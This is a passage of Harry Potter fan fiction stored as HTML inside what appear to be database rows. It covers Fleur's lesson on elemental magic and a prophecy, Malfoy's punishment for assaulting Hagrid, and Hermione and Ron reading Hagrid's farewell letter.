class="MsoNormal">&quot; How iz ee\ndoing?&quot; she asked</p>\n\n<p class="MsoNormal">&quot; Harry?...\nHe&#8217;s doing fine...&quot; she was going to say that when she last saw him he was\nsleeping very peacefully, but caught herself, &quot; ... The headboy told me\nhe&#8217;ll be back to normal by the end of the day.&quot;</p>\n\n<p class="MsoNormal">&quot; When we are\nallowed to visit &#8216;im, pleze tell me... I&#8217;m busy wiz my classes so I huv a nasty\nh&#8216;abit of forgetting things.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Ok...&quot;\nsaid Hermione a bit uncertain why Fleur needed to be told how Harry was\ndoing?...for that matter why Fleur wanted to see him when he was feeling\nbetter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Okay...claaz..\nTozay, we are going to start on the proper curr...currii...&quot; she wanted to\nsay curriculum, but she could not pronounce it. It would have had turned\nembarrassing, if Hermione had not piped up asking about something that she\nreally wanted to know about and she had not had time to go to the library yet.\nHer question was one that had been bothering Hermione since the night before,\nit was about the eye of the dragon.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Professor\nFleur...&quot; she said, &quot; Could you tell us about the eyes of the\ndragon?&quot;</p>\n\n<p class="MsoNormal">&quot; Zee eye of\nthe Dragonz is not till the end of zee terms... I&#8217;ll cover it then. We neez to\nget back to zee planned lesson...&quot;</p>\n\n<p class="MsoNormal">&quot; Okay then\ncan we hear about the ancient magic?&quot; asked Parvati, getting quite sick of\nsitting next to the drooling (literally) Dean Thomas.</p>\n\n<p class="MsoNormal">&quot; Zat is not zis\nyear. We&#8217;ll..&quot; started Fleur, but all the other girls were interested in\nwhat had happened to Harry and this was a perfect opportunity to find out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Okay...I\nwill cover zee topic. But zere iz going to be a lot of homework that you&#8217;ll\nhave to do..&quot; this was not a problem for the girls. They were all very\ninterested in Defence against Dark Arts and Fleur could make the class\ninteresting, even to the girls. She was almost as good as Professor Lupin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>(A/N: I&#8217;m not\ndoing the Fleur speech thing.... it&#8217;s too hard to do for long chapters!) </b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Ancient\nMagic is the magic of the art of elemental magic. It&#8217;s been around from the\ntime of Merlin. All magic he used was the elemental, wand magic only came about\nwhen Merlin decided that some humans were worthy of magic too &#8211; not just the\nimmortals. He did not restrict the use of magic for the purposes of good, as it\nis a subjective term. What is good for one country, spells the end of\nanother.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Some of the\nmost elite of the magical world, attempt to learn one of the elemental powers.\nDrawing power from the elements is not simple and takes years of practice....&quot;\nFleur went about explaining what the 3028 steps that the wizards had to go\nthrough to learn the element.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Once you\nmaster one element, you can use that to summon all the others. It is a very complicated\nprocedure and one is very power consuming. It has led to deaths of many famous\nwizards. Salazar Slytherin was one such famous wizard. But he was not the only\none. His mistake during his battle with Goderic for the hand of Rowena Ravenclaw\nwas the most famous one. He summoned up fire, but he did not control it well,\nhe burned himself to ashes.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Are there\nany others?&quot; Hermione asked getting into the topic, though she would have\nhad liked her own question answered much better..</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Yes... The\nbattle of Maenad. It was not one person but a group of wizards and witches,\nestablished in France, calling themselves Maenad, had tried to\nsummon a large amount of the element earth. The mistake was made by one of the\ncasters, which summoned up the forbidden element. To this day there is a\nscorching mark on the same place. No one survived that accident. The loss of\nmagical life was estimated to be thirty three, but the one that makes that\nplace forbidden is the fact that the muggle population of about sixty thousand\ndied because of the accident.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Professor\nDumbledore, your headmaster, is the only known master of the forbidden element.\nThat is why he is the chief warlock... Oh! I forgot to tell you... One wizard\ncan only be a master of one element. Several had tried after Merlin to master\nmore than one, but they never did. The human mind is not capable of rational\nthinking when they try to control more than one element. Once that happens the\nbest way to neutralize the situation is for someone watching the person do\nthis, is to kill him or her. The summoned element vanishes, when the person who\nsummoned the element is either unconscious or dead.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Professor Delacour?...&quot;it\nwas Ron. &quot; What do you look for in a man?&quot; The girls were shocked at\nthe question... not only was it highly inappropriate, it was also off the\ntopic. Hermione looked like she was ready to kill Ron at that moment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Nothing any\nof you boys have... I would like to get back to the topic I was discussing\nbefore...&quot; it clicked in Fleur&#8217;s mind why the boys might have been loosing\nconcentration.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Okay...&quot;\nsaid Ron, his voice dreamy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It seemed some of\nthe boys were actually not eating the whole of the Chocolate frog. This meant\nthat they would loose focus occasionally. &quot; Mr. Wesley...did you eat the\nchocolate frog that I gave you?&quot;</p>\n\n<p class="MsoNormal">&quot; No...&quot;\nhe answered dreamily, before realizing what he had said, &quot; er...i mean yes!\nI did!&quot; it was not a complete lie &#8211; He did have half of it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; In that caze\npleze...have another.&quot;</p>\n\n<p class="MsoNormal">&quot; Oh...do I\nhave to?&quot; asked Ron, looking positively sick at the thought of having to\neat another one</p>\n\n<p class="MsoNormal">&quot; Yez...you\nall huv to...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After ten minutes\nlater the class was back to normal again. It took that long because she made\nsure that all the boys ate their chocolate frogs.</p>\n\n<p class="MsoNormal">&quot; What waz I zaying?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>(A/N: Going back\nto normal English)</b></p>\n\n<p class="MsoNormal">Hermione helped, &quot;\nIf they fall unconscious or die the summoned elemental power is lost.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Thank Oou\nHermione&quot; she said moving to the other side of the room, &quot; The\nelemental magic performed yesterday was well beyond anything I&#8217;ve seen being\nperformed. Madam Maxime, my former Headmistress showed a small demonstration of\nher abilities with the element water, in which she created a creature out of\nthin air. As you all may know creating inanimate objects out of thin air is not\na very hard task, but to create a living creature from the beginning (instead\nof creating an inanimate object and giving it life), is a totally different\nthing altogether. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Has there\never been any one who controlled all the elements?&quot; asked Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; There&#8217;s only\never been one... it was Merlin, father of modern magic... thought there&#8217;s been\na prophecy around for a long time... it&#8217;s about the Heir of Merlin&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; But he never\nmarried anyone?&quot; said Parvati.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Fleur smiled and\nsaid, &quot; You do not need to marry anyone to bear a child...&quot; </p>\n\n<p class="MsoNormal">This caused almost\nall the girls in the room the blush, as well as a fairly large portion of the\nboys (Neville, Crabbe and Goyle were in the dark as to what the hidden meaning\nof the sentence was).</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; What&#8217;s the\nProphecy?&quot; asked Lavender who was always interested in anything to do with\nDivination.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Well, Ms.\nBrown, mind you that I do not believe in that junk...&quot; at those words the\namount of respect that Hermione had for her tripled, almost to the same amount\nthat she had for Professor Flitwick, her second favorite teacher. &quot;... I\nknow I&#8217;m going way out of the class plan, but I&#8217;ll do it quickly since there are\nonly a few more minutes of the class left.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; The prophecy\nwas foretold by a French fisherman. He was a muggleborn wizard, in the dark\ntime he was born he was not educated in the magical arts. He foretold the\nArrival of the ONE.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; He was very\ncryptic. It went something like this...&quot;</p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>One when One</i></p>\n\n<p class="MsoNormal"><i>Peace</i></p>\n\n<p class="MsoNormal"><i>When five and\nfive twice more</i></p>\n\n<p class="MsoNormal"><i>Is three.</i></p>\n\n<p class="MsoNormal"><i>One must see his\nheart</i></p>\n\n<p class="MsoNormal"><i>His heart must\nchoose</i></p>\n\n<p class="MsoNormal"><i>He must be the saviour</i></p>\n\n<p class="MsoNormal"><i>He will be the\nend</i></p>\n\n<p class="MsoNormal"><i>He will be the\nend.</i></p>\n\n<p class="MsoNormal"><i>Holding the fire\nand wind in one hand.</i></p>\n\n<p class="MsoNormal"><i>Holding the\nothers with the other hand.</i></p>\n\n<p class="MsoNormal"><i>He&#8217;ll be the\nvoid.</i></p>\n\n<p class="MsoNormal"><i>He&#8217;ll be Parker!</i></p>\n\n<p class="MsoNormal"><i>Know thyself.</i></p>\n\n<p class="MsoNormal"><i>Know thyself.</i></p>\n\n<p class="MsoNormal"><i>Know thyself.</i></p>\n\n<p class="MsoNormal"><i>Must happen it\nis! Must happen or punished he would be.</i></p>\n\n<p class="MsoNormal"><i>Punished he\nwould be for defying when the stars align....</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; The rest of\nthe prophecy is numbers and letters... only the centaurs know what the rest of\nthe prophecy is and they do not tell humans anything willingly.&quot; said\nFleur.</p>\n\n<p class="MsoNormal">&quot; What does\nthat mean?&quot; asked lavender.</p>\n\n<p class="MsoNormal">&quot; It means\nnothing!&quot; said Hermione.</p>\n\n<p class="MsoNormal">&quot; There is\nsomething in zere Hermione... zee part about holding the fire and water in one\nhand and two others with zee fifth being himself.... I think it means that zee One\nwill be zee Heir of Merlin. Not in flez and blood but in power.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Parker? What\ndoes that mean?&quot; asked Lavender.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; It was\nthought to be a name a long time ago, but some now believe that it&#8217;s a code. Hiding\nsomething very big. Very important. I would not even know of the prophecy had I\nnot had to do an essay on the seer himself for my last year of school.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Fleur barely had\ntime to give out homework when the signal for the end of the class was sounded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">At lunchtime Malfoy\nmade his way to the headmaster&#8217;s chambers. He took the longest route possible\nand when Malfoy did read the door he hesitated. But he overcame that. &#8216; I&#8217;m a\nMalfoy...and Malfoy&#8217;s always get what they want &#8216; he thought to himself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The gargoyle jumped\nout of the way as he reached the entrance to Professor Dumbledore&#8217;s office.\nWhen the wooden door opened, Malfoy was not sure how to react at the person\nstaring right at him. It was his Mother.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Mother!&quot;</p>\n\n<p class="MsoNormal">&quot; Don&#8217;t you\nmother me young man!&quot; Malfoy&#8217;s mother was clearly angry.</p>\n\n<p class="MsoNormal">&quot; I... I...&quot;\nMalfoy started to stammer.</p>\n\n<p class="MsoNormal">&quot; You will go\nand apologize to Professor Hagrid...&quot; she pointed at Hagrid, who looked\nquite shocked, that Malfoy&#8217;s mother would be saying that.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; But\nmother... he&#8217;s a half gia...&quot; Malfoy did not get to finish that sentence\nwhen his mother slapped him hard on the cheek.</p>\n\n<p class="MsoNormal">&quot; I don&#8217;t care\nif he is half flubberworm.&quot; She got a hold of Malfoy&#8217;s ear and twisted it\nslightly as she dragged her son towards Hagrid, &quot; He&#8217;s your teacher and\nyou will show respect to your teachers...Now, Apologize!&quot; Her tone was\ndeadly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The smack was not\nsomething that anyone in the room was expecting. Hagrid was now even more\nsurprised but he enjoyed the show none the less. &quot; I certainly wil...&quot;\nMalfoy tried to defy his mother, but one more twist to the ear changed his\nmind, &quot; I&#8217;m sorry...&quot;</p>\n\n<p class="MsoNormal">&quot;..err...Apology\naccepted...&quot;said Hagrid.</p>\n\n<p class="MsoNormal">Hagrid had\noriginally wanted Malfoy expelled and his wand broken, but after this he really\ndid not care what the other three teachers in the room agreed on. </p>\n\n<p class="MsoNormal">&quot; I must offer\nmy sincere apologies to you, Professor Hagrid. I promise you the next time he\nassaults a teacher, he won&#8217;t be alive to complain to anyone.&quot;</p>\n\n<p class="MsoNormal">&quot; Nice to hear\nthat!...&quot;</p>\n\n<p class="MsoNormal">&quot;Well then\nthere&#8217;s just the little matter of his punishment that is to be decided&quot;\nsaid Professor Dumbledore.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; We can&#8217;t\nexpel him, since his father has already convinced that it was all an\naccident&quot;</p>\n\n<p class="MsoNormal">&quot; It\nwas...&quot; said Malfoy rubbing his cheek.</p>\n\n<p class="MsoNormal">&quot; Well then, I\nsuggest one month of forbidden forest detentions&quot; suggested Professor\nMcGonagall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; No!&quot; Malfoy\nyelped in horror.</p>\n\n<p class="MsoNormal">&quot; Don&#8217;t worry\nMr. Malfoy&quot; said Professor Snape as he turned to Professor Dumbledore,\n&quot; Surely there is something less dangerous... after all, the board did\ndecide that it was an accident&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; You&#8217;re right\nSeverus&quot; said Professor Dumbledore, his eyes twinkling with mischief that\nhe had not had since the end of the TriWizard Tournament.</p>\n\n<p class="MsoNormal">&quot; You can&#8217;t be\nserious?&quot; Professor McGonagall uttered her protest.</p>\n\n<p class="MsoNormal">&quot; Calm down\nMinerva... I never said what the punishment was.&quot;</p>\n\n<p class="MsoNormal">&quot; What is it\nthen?&quot; Malfoy&#8217;s mother.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; He&#8217;ll be\nrequired to clean the old prefect&#8217;s bathroom, for a month. Moaning Myrtle&#8217;s\nbeen flooding the entire floor every day and it&#8217;s getting a ripe in terms of\nsmell....if you know what I mean!&quot;</p>\n\n<p class="MsoNormal">&quot; No! I don&#8217;t\nwant to do...&quot; Malfoy refused to do it...well he tried. His mother&#8217;s grip\non his ear made it otherwise, &quot; Ok...ok...I&#8217;ll do it. I guess it&#8217;s better\nthan going into the forbidden forest.&quot;</p>\n\n<p class="MsoNormal">&quot; Well since\nthat&#8217;s settled... we have to decide on how you have to clean the bath room and\nat what times...&quot; Professor Dumbledore</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It took nearly an\nhour to decide, whether or not a toothpick or a toothbrush would be an\nappropriate method of cleaning... In the end it was decided that the toothpick\nwould guarantee a better outcome in terms of how clean the end result would be.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When the Defence\nagainst Dark Arts class was finished, Hermione dragged Ron with her to the\nwhere the care of magical creatures class was held the day before. But there\nwas something very strange there...</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;&lt;~~~&gt;&gt;</p>\n\n<p class="MsoNormal">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n\n\n\n\n\n'),
	(13, 34, '\n\n\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 34<br>\n<b>Chapter Name:</b> The long Explanations...2/3 (Harry&#8217;s Mark)</p>\n\n<p>&nbsp;</p>\n\n<p>When the Defence\nagainst Dark Arts class was finished, Hermione dragged Ron with her to the\nwhere the care of magical creatures class was held the day before. &quot;\nWhere&#8217;re we going?&quot; he asked rather testily, not wanting to miss out on\nlunch.</p>\n\n<p>&quot; Lunch\nwill still be there when we get back.&quot; She replied, making Ron blush.</p>\n\n<p>&quot; err...&quot;</p>\n\n<p>&quot; We&#8217;re\ngoing to where we had our care of magical creatures class.&quot;</p>\n\n<p>&quot; Why?...you\nwant to observe the Veloron again?&quot; smirked Ron.</p>\n\n<p>&quot; No!...well\nactually, it&#8217;s the cage I want to see.&quot;</p>\n\n<p>Ron stopped\ndead, as he had joked about the creature. He had not told anyone but the\ncreature had caused him nightmares. Most of them involving him strung up by his\nankles over a fire from the beasts mouth &#8211; while Draco poked him with a stick\nto see if he was soft enough. </p>\n\n<p>&quot; The\ncage?&quot; he threw up his arms, &quot; Why would you want to do something\nlike that?&quot; he hid his fear well.</p>\n\n<p>&quot; I want\nto check something.&quot; </p>\n\n<p>&quot; With\nthat thing? Still in there?&quot;</p>\n\n<p>&quot; Yeah!\nSo what? Harry did it... he didn&#8217;t get hurt by it.&quot;</p>\n\n<p>&quot; That&#8217;s\nbecause I heard him speaking to it in that snake tongue...I mean parseltongue.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione&#8217;s\nmouth gaped open. She started to pace around on the spot that they had stopped.\nShe was very surprised for some reason. She had been very close to the Harry\nwhen she saw him fall, but she knew that Ron was much closer and as such heard\nsomething being spoken between them. &quot; Really?...&quot;</p>\n\n<p>&quot; You\ndon&#8217;t believe me?...why do you look so surprised?&quot; said Ron, apparently\naffronted.</p>\n\n<p>&quot; No,\nthat&#8217;s not it! It&#8217;s just...&quot;</p>\n\n<p>&quot; Just\nwhat?...&quot;</p>\n\n<p>&quot; er...\nYou know what Hagrid said in class?&quot;</p>\n\n<p>Ron just\ngrinned in reply. </p>\n\n<p>&quot;\nHonestly, Ron!&quot; her face took on the tell tale signs of a lecture, and Ron\nbeing around her for five years knew it was coming, &quot; You should pay more\nattention in class. The owls are on this year...&quot; </p>\n\n<p>Ron\ninterrupted, &quot; Do you want me to go back to the great hall?&quot; he\nthreatened.</p>\n\n<p>Hermione\nlooked torn between telling him off for the threat or just tell him what he\nwanted to know. She chose to do the second one and just tell Ron, &quot; Oh!\nOkay... Velorons are more closely related to dragons, then snakes. You can say\nbecause they have wings and a very hard hide, imbued with powerful ancient\nmagic, though admittedly not as powerful as it is in a dragon. But strong\nenough to throw off a few stunning curses&quot;</p>\n\n<p>Ron did not\nunderstand the significance of the statement &quot; So?&quot;</p>\n\n<p>&quot; So...It\nmeans when everyone in class took out their wand to defend Harry, I doubt if they\neven would have been able to make it stagger, let alone save Harry. The\nsecond...&quot; Hermione said a bit more dramatically then she needed to,\n&quot; is a bit more important...but that&#8217;s only a concern if you answer the\nquestion, &#8216;Was he taking softly or loudly?&#8217;&quot;</p>\n\n<p>&quot; Softly...can\nyou hurry up and answer this already.&quot; </p>\n\n<p>&quot; I&#8217;m\ntrying to.&#8221; Hermione looked irritated. &#8220; It doesn&#8217;t help when you&#8230;&#8221;</p>\n\n<p>&#8220;Hermione&#8230;&#8221;</p>\n\n<p>&#8220; What you\nheard was probably <b>Drakh</b>.&quot; She saw Ron&#8217;s face turn even more\nconfused than it had ever before. &quot; It&#8217;s kind of like parseltongue...just\na bit different. Humans who know parseltongue can control snakes. Drakh is just\nlike any other language. Only dragons can speak it.&quot; </p>\n\n<p>&quot; What!&quot;\nRon was outraged. Yet another talent of Harry Potter has just been uncovered,\nand he could not help but feel jealous of him, but then he remembered something\nwhich gave him some hope. &quot; I don&#8217;t think you&#8217;re right!&quot; he said,\nshaking his head side to side to emphasize his disagreement. Hermione had not\nexpected Ron to object, after all she was always right, and this was not an\nexception. Hermione felt the need to amuse herself with Ron&#8217;s objection, so she\nasked him.</p>\n\n<p>&quot; Why do\nsay that?&quot; Hermione did not wait for the answer as she slowly started\ntowards their previous destination. Ron followed her without thinking, falling\ninto what Hermione was trying to do, lure him with her to the Velorons cage.\nShe knew her shielding charm was not as powerful as it was for Harry, so, she\nwas planning to get Ron to cast one on her as well. It would increase her\nshielding charm a lot. She hoped it would be enough to get away from the Veloron\nif it started to fire balls of fire at her. </p>\n\n<p>&quot; Because\nthen Harry could have had just asked the dragon last year to let him retrieve\nthe egg.&quot; Ron sounded very proud of that piece of deductive work. Hermione\nthought it was almost a shame that she had to discredit it. Almost. She did not\nlike one of her two friends having some ill-gotten ideas that might prevent\nthem from their OWLs. </p>\n\n<p>&quot; Do you\nreally think a mother would let anyone make her believe that her eggs were not\nin danger. Let alone one, who came from the people that had used spells on it\nto subdue it.&quot;</p>\n\n<p>Ron&#8217;s face\nfell, but Hermione was not done just yet. &quot; Besides, he would not have had\nbeen able to speak it, even if he wanted to... You see humans can only speak\nit, when the dragons allow the humans capable of speaking it. There are some\nexceptions, but they don&#8217;t apply here.&quot; Hermione paused to take a breath\nand then started to explain what the exceptions were, &quot; The first\none...&quot;</p>\n\n<p>Ron had\nrecovered slightly, interrupted her, &quot; How do you know so much? You&#8217;re\nlike a walking library.&quot;</p>\n\n<p>Hermione\nreally wanted to smack Ron at that instance. She had had enough torment over\nthat fact for the last four years and she hated it. Coming from Ron, it hurt\nmore than it would have had from someone else. </p>\n\n<p>&quot; I&#8217;m not\na walking library.&quot; Her voice very cool, &quot; Last year, if you had not\nbeen acting like a big jealous prat, you would have been in the library looking\nup everything about dragons to keep Harry alive. You could have had picked\nsomething up&quot; She huffed and started to walk very fast. Ron, surprised\nfrom the fact that she had gone so cold at one of his stray comments, fell back\na bit. </p>\n\n<p>&quot; I&#8217;m\nsorry. I didn&#8217;t mean it. &quot; He said when he caught up to her.</p>\n\n<p>&quot; No!&quot;\nHermione turned and said in n even colder voice, &quot; The thing is Ron, you\ndid... go back to your lunch...&quot;</p>\n\n<p>&quot;\nHermione, I really did not mean to make you upset. Now that I know it makes you\nupset, I&#8217;ll stop. I promise.&quot; Hermione looked at Ron&#8217;s face and she could\ntell that he was being truthful. She knew that Ron would not say the walking\nlibrary comment ever again, but there were still a lot of other things that she\nhad to get him to stop saying to her.</p>\n\n<p>&quot; Ok.&quot;\nShe replied.</p>\n\n<p>&quot; Good&quot;\nsaid Ron. </p>\n\n<p>He was about\nto put his arm around her shoulder when the bright sunlight from the door that\nHermione had just opened disrupted his vision.</p>\n\n<p>&nbsp;</p>\n\n<p>What they saw\nwhen they emerged from the castle, to where they had their last class the day\nbefore, they saw something very odd. </p>\n\n<p>It was Percy!</p>\n\n<p>He had just\nfinished teaching a very large group of children, whom Hermione identified as a\ngroup of third years. The class had just finished, as the children were running\ntoward the direction Ron and Hermione had come from. No doubt going into the\ngreat hall for their lunch.</p>\n\n<p>&quot; Percy!&quot;\ncalled out Ron in surprise.</p>\n\n<p>Percy looked\nup see his brother waving at him, &quot; Hello there, you two...&quot; he said,\nin return when the pair made their way to where Percy was busy putting a\nvariety of glowing creatures into a black jar.</p>\n\n<p>&quot; What\nare you doing here?&quot; asked Hermione, though she had a vague inkling as to\nwhat he was doing. &quot; Oh! I was teaching care of magical creatures\nclass...&quot;</p>\n\n<p>&quot; You&#8217;re\nwhat? Since when? How? Where&#8217;s Hagrid?&quot; asked Ron</p>\n\n<p>&quot; Well,\nHagrid had other business to take care of... he left early morning...&quot; he\npaused and stated to look for something inside his cloak. With a triumphant\nsmile he gave Hermione a piece of parchment. &quot; Hagrid left this with me\nfor you three...well you two can give it to Harry&quot;</p>\n\n<p>Hermione\nstarted to read the piece of parchment out loud enough for Ron to hear.</p>\n\n<p><b><i>Dear\nHarry, Hermione and Ron,</i></b></p>\n\n<p><i>Harry, I\nhope you are feeling well. I&#8217;m sorry to leave before saying good bye\npersonally. But it is for a greater good that I have to go now, please forgive\nmy rather untimely and hasty departure. It&#8217;s about...well I&#8217;m sure you can\nguess why and where I&#8217;m going. If not...ask Hermione. She&#8217;ll know. (<u> &#8216; He&#8217;s\ngoing to try and contact the giants...maybe his mother too&#8217;</u> thought\nHermione. Ron had the similar thought as well.) I&#8217;ll write to you as soon as\npossible, though it might be a while before I come back again. Take care so you\ndo not overexert yourself. You know what I mean. Take care.</i></p>\n\n<p><i>Hermione,\nthe extra credit assignment that you took on, you can hand it in to Charlie\nwhen he comes to teach. Percy was wrangled into doing this class, help him out\nin your classes. I hope you make up with Harry soon, the headmaster told me\nthat you two were fighting... (Hermione blushed. Telling Percy about her and\nhis squabble was not her intention. The rest of the letter she read out softly,\nso that only Ron and she could hear it. Hermione knew this was not really of\nany possible help, since Percy probably read the letter already. * <u>How did\nthe headmaster find out!</u>* she thought, looking at Ron, who had a look of\npure astonishment on his face.) I hope you would realize how much you two mean\nto him. You two are, not only his best friends, but you are also his very first\nfriends. (*<u> Well Hagrid, you don&#8217;t have to worry about that now... Harry and\nI will be back to normal in no time</u>*)</i></p>\n\n<p><i>Ron, look\nafter Harry and Hermione, and try to make sure that they don&#8217;t have another row\nonce <b>you&#8217;ve</b> got them back to being their normal friendly selves to each\nother again. I&#8217;m also warning you that the Velorons have a nasty temper and\nthey tend to take on characteristics of the people they are in care of. Try to\ncontrol your temper, otherwise you are going to have a rather painful\nexperience. (*<u>Ron does not have to worry about me and Harry, but he better\nbe careful around the baby Velorons. With Ron&#8217;s temper and short fuse, he&#8217;s gonna\nhave a rather hard year controlling his one.</u>* Hermione almost looked\nforward to the day they were going to get their little pets to take care of.*\nIt&#8217;ll teach him to control his temper...now, if only there was a way to get rid\nof his jealous side...*)</i></p>\n\n<p><i>Don&#8217;t try\nto contact me. It&#8217;s very dangerous. I&#8217;ll bring you all presents when I come\nback.</i></p>\n\n<p><i>Wishing you\nall the well for rest of the term...</i></p>\n\n<p><b>Hagrid</b></p>\n\n<p><i>P.S.\nHermione, I have a birthday present in my hut for you... you have to get Harry\nto find it for you. So... make up with him, other wise there&#8217;s no presents for\nyou.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p>&quot; So how\ndid you end up doing the class?&quot; Hermione asked Percy, who was trying to\nput one of the glowing things back into the black jar. Her question was tactful\nenough so that if Percy did not want to answer then he did not have to. Ron,\nhowever, was not so tactful about the subject. It was hard enough for him to live\nup to Percy&#8217;s legacy and now he was going to teaching the class that he\nexcelled at, he was sure that rumors of brotherly favoritism would plague him\nthe rest of the year. Somehow he forgot about the fact that half the school\nknew about their close friendship with the groundskeeper turned professor. &quot;\nHow come you&#8217;re doing it? ...You&#8217;re no good with magical creatures.&quot; Said\nRon in an accusative tone. </p>\n\n<p>&quot;\nWell...it is true that I&#8217;m not particularly fond of anything other than humans,\nbut I am the only person they could hire in a jam like this... besides Charlie\nis going be taking the class. He&#8217;ll be here in about a month&#8217;s time... He&#8217;ll be\ntaking over until the end of the year. Something to do with what Professor\nDumbledore has assigned him to... I don&#8217;t know and I don&#8217;t particularly care.\nI&#8217;ll be happy to get out of this then.... Besides I need the money.&#8221; </p>\n\n<p>When the duo\nlooked at him questioningly he answered, &#8220; &#8230;for something.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot; You\nneed money! What do you need money for! You already get paid three times your\nold salary?&quot;</p>\n\n<p>Percy blushed.\n</p>\n\n<p>&quot; Well....&quot;\nHe almost told the pair what he was going to use the money for, but he\nrestrained himself. &quot; Do you have your next class here?&quot; he asked.</p>\n\n<p>&quot; No&quot;\nanswered Ron.</p>\n\n<p>&quot; Then if\nyou don&#8217;t have anything to ask, go away. I&#8217;ll give you two five seconds...\nafter that I get to give you detention...&quot; Percy thought for a second and\nthen said, &quot;... that goes for you too, Hermione.&quot;</p>\n\n<p>&quot; We do\nhave to ask you something...&quot; started Ron, Hermione interrupted by saying\n&quot; Can we go and check something? It&#8217;s for my care of magical creatures,\nextra credit assignment.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot; Sure&quot;\nsaid Percy as he walked off in the direction of the great hall.</p>\n\n<p>&quot; Why\ndidn&#8217;t you let me ask about why he needed the money for?&quot;</p>\n\n<p>&quot; Because\nit&#8217;s none of our business...and besides, he looked power hungry enough to give\nus detentions.&quot; Hermione quickly made for the back of Hagrid&#8217;s hut.</p>\n\n<p>Ron thought\nback to what his brother looked like and thought it was a good thing he had not\nchallenged his brother right there. It could and would have ended up him in\ndetention and Hermione would have been very upset with him for it. Hermione\ncould tell by the mess it was behind the hut, that Percy had not had a chance\nto go there yet. It was perfectly understandable, as the only thing there was\nthe Veloron and some of Hagrid&#8217;s junk. Ron&#8217;s heartbeat started to climb when\nthe faint noise of the snarling beast started to become clearer. &quot; What\nare we doing here again?&quot;</p>\n\n<p>&quot; Shhhh...&quot;\nHermione asked for silence from Ron, as she slowly crept around the hut. Only\nabout ten meters from the hut, she whispered to him, &quot; I&#8217;m here to check\nsomething... you&#8217;re here to cast a shielding charm on me&quot;</p>\n\n<p>&quot; What!\nI&#8217;m not as good as you in Charms, I&#8217;m likely to the charm wrong.&quot;</p>\n\n<p>&quot; Be that\nas it may, My own shielding charm might not be strong 